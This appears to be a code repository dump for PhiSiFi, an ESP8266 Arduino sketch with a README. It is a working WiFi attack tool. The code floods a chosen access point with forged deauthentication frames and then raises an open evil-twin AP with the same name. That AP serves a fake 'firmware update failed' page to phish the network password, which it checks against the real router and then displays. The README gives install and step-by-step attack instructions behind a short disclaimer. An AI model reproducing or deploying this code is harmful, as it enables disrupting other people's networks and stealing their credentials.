├── ESP8266_PhiSiFi.ino └── README.md /ESP8266_PhiSiFi.ino: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | extern "C" { 8 | #include "user_interface.h" 9 | } 10 | 11 | 12 | typedef struct 13 | { 14 | String ssid; 15 | uint8_t ch; 16 | uint8_t bssid[6]; 17 | } _Network; 18 | 19 | 20 | const byte DNS_PORT = 53; 21 | IPAddress apIP(192, 168, 1, 1); 22 | DNSServer dnsServer; 23 | ESP8266WebServer webServer(80); 24 | 25 | _Network _networks[16]; 26 | _Network _selectedNetwork; 27 | 28 | void clearArray() { 29 | for (int i = 0; i < 16; i++) { 30 | _Network _network; 31 | _networks[i] = _network; 32 | } 33 | 34 | } 35 | 36 | String _correct = ""; 37 | String _tryPassword = ""; 38 | 39 | // Default main strings 40 | #define SUBTITLE "ACCESS POINT RESCUE MODE" 41 | #define TITLE " Firmware Update Failed" 42 | #define BODY "Your router encountered a problem while automatically installing the latest firmware update.

To revert the old firmware and manually update later, please verify your password." 43 | 44 | String header(String t) { 45 | String a = String(_selectedNetwork.ssid); 46 | String CSS = "article { background: #f2f2f2; padding: 1.3em; }" 47 | "body { color: #333; font-family: Century Gothic, sans-serif; font-size: 18px; line-height: 24px; margin: 0; padding: 0; }" 48 | "div { padding: 0.5em; }" 49 | "h1 { margin: 0.5em 0 0 0; padding: 0.5em; font-size:7vw;}" 50 | "input { width: 100%; padding: 9px 10px; margin: 8px 0; box-sizing: border-box; border-radius: 0; border: 1px solid #555555; border-radius: 10px; }" 51 | "label { color: #333; display: block; font-style: italic; font-weight: bold; }" 52 | "nav { background: #0066ff; color: #fff; display: block; font-size: 1.3em; padding: 1em; }" 53 | "nav b { display: block; font-size: 1.5em; margin-bottom: 0.5em; } " 54 | "textarea { width: 100%; }" 55 | ; 56 | String h = "" 57 | "<center>" + a + " :: " + t + "</center>" 58 | "" 59 | "" 60 | "" 61 | "

" + t + "

"; 62 | return h; 63 | } 64 | 65 | String footer() { 66 | return "
"; 67 | } 68 | 69 | String index() { 70 | return header(TITLE) + "
" + BODY + "
" + 71 | "
" + footer(); 72 | } 73 | 74 | void setup() { 75 | 76 | Serial.begin(115200); 77 | WiFi.mode(WIFI_AP_STA); 78 | wifi_promiscuous_enable(1); 79 | WiFi.softAPConfig(IPAddress(192, 168, 4, 1) , IPAddress(192, 168, 4, 1) , IPAddress(255, 255, 255, 0)); 80 | WiFi.softAP("WiPhi_34732", "d347h320"); 81 | dnsServer.start(53, "*", IPAddress(192, 168, 4, 1)); 82 | 83 | webServer.on("/", handleIndex); 84 | webServer.on("/result", handleResult); 85 | webServer.on("/admin", handleAdmin); 86 | webServer.onNotFound(handleIndex); 87 | webServer.begin(); 88 | } 89 | void performScan() { 90 | int n = WiFi.scanNetworks(); 91 | clearArray(); 92 | if (n >= 0) { 93 | for (int i = 0; i < n && i < 16; ++i) { 94 | _Network network; 95 | network.ssid = WiFi.SSID(i); 96 | for (int j = 0; j < 6; j++) { 97 | network.bssid[j] = WiFi.BSSID(i)[j]; 98 | } 99 | 100 | network.ch = WiFi.channel(i); 101 | _networks[i] = network; 102 | } 103 | } 104 | } 105 | 106 | bool hotspot_active = false; 107 | bool deauthing_active = false; 108 | 109 | void handleResult() { 110 | String html = ""; 111 | if (WiFi.status() != WL_CONNECTED) { 112 | if (webServer.arg("deauth") == "start") { 113 | deauthing_active = true; 114 | } 115 | webServer.send(200, "text/html", "


Wrong Password

Please, try again.

"); 116 | Serial.println("Wrong password tried!"); 117 | } else { 118 | _correct = "Successfully got password for: " + _selectedNetwork.ssid + " Password: " + _tryPassword; 119 | hotspot_active = false; 120 | dnsServer.stop(); 121 | int n = WiFi.softAPdisconnect (true); 122 | Serial.println(String(n)); 123 | WiFi.softAPConfig(IPAddress(192, 168, 4, 1) , IPAddress(192, 168, 4, 1) , IPAddress(255, 255, 255, 0)); 124 | WiFi.softAP("WiPhi_34732", "d347h320"); 125 | dnsServer.start(53, "*", IPAddress(192, 168, 4, 1)); 126 | Serial.println("Good password was entered !"); 127 | Serial.println(_correct); 128 | } 129 | } 130 | 131 | 132 | String _tempHTML = "" 133 | "" 134 | "
" 135 | "
" 136 | "
" 137 | "
" 138 | "
" 139 | "

"; 140 | 141 | void handleIndex() { 142 | 143 | if (webServer.hasArg("ap")) { 144 | for (int i = 0; i < 16; i++) { 145 | if (bytesToStr(_networks[i].bssid, 6) == webServer.arg("ap") ) { 146 | _selectedNetwork = _networks[i]; 147 | } 148 | } 149 | } 150 | 151 | if (webServer.hasArg("deauth")) { 152 | if (webServer.arg("deauth") == "start") { 153 | deauthing_active = true; 154 | } else if (webServer.arg("deauth") == "stop") { 155 | deauthing_active = false; 156 | } 157 | } 158 | 159 | if (webServer.hasArg("hotspot")) { 160 | if (webServer.arg("hotspot") == "start") { 161 | hotspot_active = true; 162 | 163 | dnsServer.stop(); 164 | int n = WiFi.softAPdisconnect (true); 165 | Serial.println(String(n)); 166 | WiFi.softAPConfig(IPAddress(192, 168, 4, 1) , IPAddress(192, 168, 4, 1) , IPAddress(255, 255, 255, 0)); 167 | WiFi.softAP(_selectedNetwork.ssid.c_str()); 168 | dnsServer.start(53, "*", IPAddress(192, 168, 4, 1)); 169 | 170 | } else if (webServer.arg("hotspot") == "stop") { 171 | hotspot_active = false; 172 | dnsServer.stop(); 173 | int n = WiFi.softAPdisconnect (true); 174 | Serial.println(String(n)); 175 | WiFi.softAPConfig(IPAddress(192, 168, 4, 1) , IPAddress(192, 168, 4, 1) , IPAddress(255, 255, 255, 0)); 176 | WiFi.softAP("WiPhi_34732", "d347h320"); 177 | dnsServer.start(53, "*", IPAddress(192, 168, 4, 1)); 178 | } 179 | return; 180 | } 181 | 182 | if (hotspot_active == false) { 183 | String _html = _tempHTML; 184 | 185 | for (int i = 0; i < 16; ++i) { 186 | if ( _networks[i].ssid == "") { 187 | break; 188 | } 189 | _html += ""; 193 | } else { 194 | _html += ""; 195 | } 196 | } 197 | 198 | if (deauthing_active) { 199 | _html.replace("{deauth_button}", "Stop deauthing"); 200 | _html.replace("{deauth}", "stop"); 201 | } else { 202 | _html.replace("{deauth_button}", "Start deauthing"); 203 | _html.replace("{deauth}", "start"); 204 | } 205 | 206 | if (hotspot_active) { 207 | _html.replace("{hotspot_button}", "Stop EvilTwin"); 208 | _html.replace("{hotspot}", "stop"); 209 | } else { 210 | _html.replace("{hotspot_button}", "Start EvilTwin"); 211 | _html.replace("{hotspot}", "start"); 212 | } 213 | 214 | 215 | if (_selectedNetwork.ssid == "") { 216 | _html.replace("{disabled}", " disabled"); 217 | } else { 218 | _html.replace("{disabled}", ""); 219 | } 220 | 221 | _html += "
SSIDBSSIDChannelSelect
" + _networks[i].ssid + "" + bytesToStr(_networks[i].bssid, 6) + "" + String(_networks[i].ch) + "
"; 190 | 191 | if (bytesToStr(_selectedNetwork.bssid, 6) == bytesToStr(_networks[i].bssid, 6)) { 192 | _html += "
"; 222 | 223 | if (_correct != "") { 224 | _html += "

" + _correct + "

"; 225 | } 226 | 227 | _html += "
"; 228 | webServer.send(200, "text/html", _html); 229 | 230 | } else { 231 | 232 | if (webServer.hasArg("password")) { 233 | _tryPassword = webServer.arg("password"); 234 | if (webServer.arg("deauth") == "start") { 235 | deauthing_active = false; 236 | } 237 | delay(1000); 238 | WiFi.disconnect(); 239 | WiFi.begin(_selectedNetwork.ssid.c_str(), webServer.arg("password").c_str(), _selectedNetwork.ch, _selectedNetwork.bssid); 240 | webServer.send(200, "text/html", "

Verifying integrity, please wait...
10%

"); 241 | if (webServer.arg("deauth") == "start") { 242 | deauthing_active = true; 243 | } 244 | } else { 245 | webServer.send(200, "text/html", index()); 246 | } 247 | } 248 | 249 | } 250 | 251 | void handleAdmin() { 252 | 253 | String _html = _tempHTML; 254 | 255 | if (webServer.hasArg("ap")) { 256 | for (int i = 0; i < 16; i++) { 257 | if (bytesToStr(_networks[i].bssid, 6) == webServer.arg("ap") ) { 258 | _selectedNetwork = _networks[i]; 259 | } 260 | } 261 | } 262 | 263 | if (webServer.hasArg("deauth")) { 264 | if (webServer.arg("deauth") == "start") { 265 | deauthing_active = true; 266 | } else if (webServer.arg("deauth") == "stop") { 267 | deauthing_active = false; 268 | } 269 | } 270 | 271 | if (webServer.hasArg("hotspot")) { 272 | if (webServer.arg("hotspot") == "start") { 273 | hotspot_active = true; 274 | 275 | dnsServer.stop(); 276 | int n = WiFi.softAPdisconnect (true); 277 | Serial.println(String(n)); 278 | WiFi.softAPConfig(IPAddress(192, 168, 4, 1) , IPAddress(192, 168, 4, 1) , IPAddress(255, 255, 255, 0)); 279 | WiFi.softAP(_selectedNetwork.ssid.c_str()); 280 | dnsServer.start(53, "*", IPAddress(192, 168, 4, 1)); 281 | 282 | } else if (webServer.arg("hotspot") == "stop") { 283 | hotspot_active = false; 284 | dnsServer.stop(); 285 | int n = WiFi.softAPdisconnect (true); 286 | Serial.println(String(n)); 287 | WiFi.softAPConfig(IPAddress(192, 168, 4, 1) , IPAddress(192, 168, 4, 1) , IPAddress(255, 255, 255, 0)); 288 | WiFi.softAP("WiPhi_34732", "d347h320"); 289 | dnsServer.start(53, "*", IPAddress(192, 168, 4, 1)); 290 | } 291 | return; 292 | } 293 | 294 | for (int i = 0; i < 16; ++i) { 295 | if ( _networks[i].ssid == "") { 296 | break; 297 | } 298 | _html += "" + _networks[i].ssid + "" + bytesToStr(_networks[i].bssid, 6) + "" + String(_networks[i].ch) + "
"; 299 | 300 | if ( bytesToStr(_selectedNetwork.bssid, 6) == bytesToStr(_networks[i].bssid, 6)) { 301 | _html += "
"; 302 | } else { 303 | _html += ""; 304 | } 305 | } 306 | 307 | if (deauthing_active) { 308 | _html.replace("{deauth_button}", "Stop deauthing"); 309 | _html.replace("{deauth}", "stop"); 310 | } else { 311 | _html.replace("{deauth_button}", "Start deauthing"); 312 | _html.replace("{deauth}", "start"); 313 | } 314 | 315 | if (hotspot_active) { 316 | _html.replace("{hotspot_button}", "Stop EvilTwin"); 317 | _html.replace("{hotspot}", "stop"); 318 | } else { 319 | _html.replace("{hotspot_button}", "Start EvilTwin"); 320 | _html.replace("{hotspot}", "start"); 321 | } 322 | 323 | 324 | if (_selectedNetwork.ssid == "") { 325 | _html.replace("{disabled}", " disabled"); 326 | } else { 327 | _html.replace("{disabled}", ""); 328 | } 329 | 330 | if (_correct != "") { 331 | _html += "

" + _correct + "

"; 332 | } 333 | 334 | _html += "
"; 335 | webServer.send(200, "text/html", _html); 336 | 337 | } 338 | 339 | String bytesToStr(const uint8_t* b, uint32_t size) { 340 | String str; 341 | const char ZERO = '0'; 342 | const char DOUBLEPOINT = ':'; 343 | for (uint32_t i = 0; i < size; i++) { 344 | if (b[i] < 0x10) str += ZERO; 345 | str += String(b[i], HEX); 346 | 347 | if (i < size - 1) str += DOUBLEPOINT; 348 | } 349 | return str; 350 | } 351 | 352 | unsigned long now = 0; 353 | unsigned long wifinow = 0; 354 | unsigned long deauth_now = 0; 355 | 356 | uint8_t broadcast[6] = { 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF }; 357 | uint8_t wifi_channel = 1; 358 | 359 | void loop() { 360 | dnsServer.processNextRequest(); 361 | webServer.handleClient(); 362 | 363 | if (deauthing_active && millis() - deauth_now >= 1000) { 364 | 365 | wifi_set_channel(_selectedNetwork.ch); 366 | 367 | uint8_t deauthPacket[26] = {0xC0, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x01, 0x00}; 368 | 369 | memcpy(&deauthPacket[10], _selectedNetwork.bssid, 6); 370 | memcpy(&deauthPacket[16], _selectedNetwork.bssid, 6); 371 | deauthPacket[24] = 1; 372 | 373 | Serial.println(bytesToStr(deauthPacket, 26)); 374 | deauthPacket[0] = 0xC0; 375 | Serial.println(wifi_send_pkt_freedom(deauthPacket, sizeof(deauthPacket), 0)); 376 | Serial.println(bytesToStr(deauthPacket, 26)); 377 | deauthPacket[0] = 0xA0; 378 | Serial.println(wifi_send_pkt_freedom(deauthPacket, sizeof(deauthPacket), 0)); 379 | 380 | deauth_now = millis(); 381 | } 382 | 383 | if (millis() - now >= 15000) { 384 | performScan(); 385 | now = millis(); 386 | } 387 | 388 | if (millis() - wifinow >= 2000) { 389 | if (WiFi.status() != WL_CONNECTED) { 390 | Serial.println("BAD"); 391 | } else { 392 | Serial.println("GOOD"); 393 | } 394 | wifinow = millis(); 395 | } 396 | } 397 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # PhiSiFi 2 |

3 | 4 | 5 | 6 |

7 | 8 | ## A franken baby of [M1z23R/ESP8266-EvilTwin](https://github.com/M1z23R/ESP8266-EvilTwin) and [adamff1/ESP8266-Captive-Portal](https://github.com/adamff1/ESP8266-Captive-Portal). 9 | 10 |
11 | 12 | It uses an ESP8266 to attack a WiFi network using Deauther && || Evil-Twin AP method. 13 | 14 | ## FEATURES : 15 | * Deauthentication of a target WiFi access point 16 | * Evil-Twin AP to capture passwords with password verification against the og access point 17 | * It can do both attacks at the same time, no toggling of the deauther is required. 18 | 19 | ## DISCLAIMER 20 | The source code given in this public repo is for educational use only and should only be used against your own networks and devices!
21 | Please check the legal regulations in your country before using it. 22 | 23 | ## Install using Arduino IDE 24 | 1. Install Arduino IDE 25 | 2. In Arduino go to `File` -> `Preferences` add this URL to `Additional Boards Manager URLs` -> 26 | `https://raw.githubusercontent.com/SpacehuhnTech/arduino/main/package_spacehuhn_index.json` 27 | 3. In Arduino go to `Tools` -> `Board` -> `Boards Manager` search for and install the `deauther` package 28 | 4. Download and open [PhiSiFi](https://github.com/p3tr0s/PhiSiFi/blob/main/ESP8266_PhiSiFi.ino) with Arduino IDE 29 | 6. Select an `ESP8266 Deauther` board in Arduino under `tools` -> `board` 30 | 7. Connect your device and select the serial port in Arduino under `tools` -> `port` 31 | 8. Click Upload button 32 | 33 | # How to use: 34 | - Connect to the AP named `WiPhi_34732` with password `d347h320` from your phone/PC. 35 | - Select the target AP you want to attack (list of available APs refreshes every 30secs - page reload is required). 36 | - Click the Start Deauthing button to start kicking devices off the selected network. 37 | - Click the Start Evil-Twin button and optionally reconnect to the newly created AP named same as your target (will be open). 38 | - You can stop any of the attacks by visiting `192.168.4.1/admin` while conected to Evil-Twin AP or by resetting the ESP8266. 39 | - Once a correct password is found, AP will be restarted with default ssid `WiPhi_34732` / `d347h320` and at the bottom of a table you should be able to see something like "Successfully got password for - `TARGET_SSID` - `PASSWORD` 40 | - If you power down / hard reset the gathered info will be lost 41 | 42 | # It doesn't work for me: 43 | - For starters, I don't really care - it's something I did for fun and a POC that worked on my test surface and I do not provide any support for. 44 | - Follow SpaceHuhn and read his blog https://blog.spacehuhn.com/deauth-attack-not-working to learn about the attack. 45 | - If you can offer some input on what you think is wrong feel free to let me know and I will try, at some point, to fix it. 46 | 47 | ## Credits: 48 | * https://github.com/SpacehuhnTech/esp8266_deauther 49 | * https://github.com/M1z23R/ESP8266-EvilTwin 50 | * https://github.com/adamff1/ESP8266-Captive-Portal 51 | 52 | ## License 53 | This software is licensed under the [MIT License](https://opensource.org/licenses/MIT). 54 | 55 | ## Donation / Support / Appreciation 56 | 57 | --------------------------------------------------------------------------------